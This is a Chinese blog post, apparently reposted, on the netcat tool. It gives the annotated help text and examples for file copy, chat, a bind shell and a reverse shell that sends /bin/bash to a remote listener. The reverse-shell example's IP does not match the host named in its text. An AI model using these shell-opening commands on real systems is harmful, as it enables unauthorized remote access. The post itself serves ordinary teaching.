nc (netcat)
来源:互联网 发布:淘宝的图片 编辑:程序博客网 时间:2024/05/20 22:35
root@promote:~/test# nc -h[v1.10-41]connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [-options] [hostname] [port]options: -c shell commands as `-e'; use /bin/sh to exec [dangerous!!] -e filename program to exec after connect [dangerous!!] -b allow broadcasts -g gateway source-routing hop point[s], up to 8 设置路由器网关 最多设置8个 -G num source-routing pointer: 4, 8, 12, ... 来源路由指向器 4的倍数 -h this cruft帮助 -i secs delay interval for lines sent, ports scanned 时间间隔 传送信息以及扫描通信端口 -k set keepalive option on socket -l listen mode, for inbound connects 使用监听模式 -n numeric-only IP addresses, no DNS 直接使用IP地址 而不是通过域名服务器 -o file hex dump of traffic 16进制保存文件 -p port local port number 设置本地主机使用的通信端口 -r randomize local and remote ports 随机指定本机与远端主机使用的通信端口 -q secs quit after EOF on stdin and delay of secs -s addr local source address 设置本机送出数据包的地址 -T tos set Type Of Service -t answer TELNET negotiation -u UDP mode 使用udp协议传输 -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads 等待连线的时间 -C Send CRLF as line-ending CRLF作为行结尾 -z zero-I/O mode [used for scanning] 使用0输入输出模式 仅作为扫描用port numbers can be individual or ranges: lo-hi [inclusive];hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
常见的用法:
1.拷贝文件
从192.168.2.33拷贝文件到192.168.2.34在34上执行 nc -l -p 1234 > test.txt在33上执行 nc 192.168.2.34 1234 < test.txt
2.聊天
192.168.2.34和192.168.2.35在34上执行 nc -l -p 1234在35上执行 nc 192.168.2.34 1234
3.绑定shell到端口
192.168.2.35 绑定shell到本地端口 192.168.2.34主动去连接在35上执行 nc -l -p 1234 -e /bin/bash在34上执行 nc -vv -n 192.168.2.35 1234
4.反弹shell
把192.168.2.34的shell反弹到192.168.2.35上先在35上开启本地监听 nc -l -p 8080 -vv在34上执行 nc 192.168.2.5 8080 -e /bin/bash -vv
0 0
- nc (netcat)
- netcat,nc小介绍
- linux nc命令 <netcat>
- Linux nc (netcat) 详解
- Linux nc (netcat) 详解
- Linux nc (netcat) 详解
- linux nc命令 <netcat>
- Netcat使用手册(nc)
- Linux nc (netcat) 详解
- nc.exe(Netcat) 瑞士军刀
- NC(NetCat)命令详解
- Linux nc (netcat) 详解
- Linux nc (netcat) 详解
- <NetCat> nc命令详解
- 瑞士军刀nc/netcat命令
- netcat nc 学习
- netcat nc ncat
- 【Linux】 nc (netcat) 详解
- 每天学习十分钟20之git笔记②
- Charles 关闭之后 手机、苹果电脑能上QQ 但打不开网页原因
- struts2之namespace
- Object-C--->Swift之(八)类和结构体
- ssh--write failed broken pipe
- nc (netcat)
- LeetCode36. Valid Sudoku
- 分布式视频编码关键技术及其发展趋势
- 认识SQL Server的虚影行(Ghost record)
- 依次读入数据,直到文件结束
- HDOJ 2056 Rectangles
- Gearman GearmanTask类
- 错误1error LNK2019: 无法解析的外部符号 _WinMain@16,该符号在函数 ___tmainCRTStartup 中被引用
- WebService学习总结(二)——WebService相关概念介绍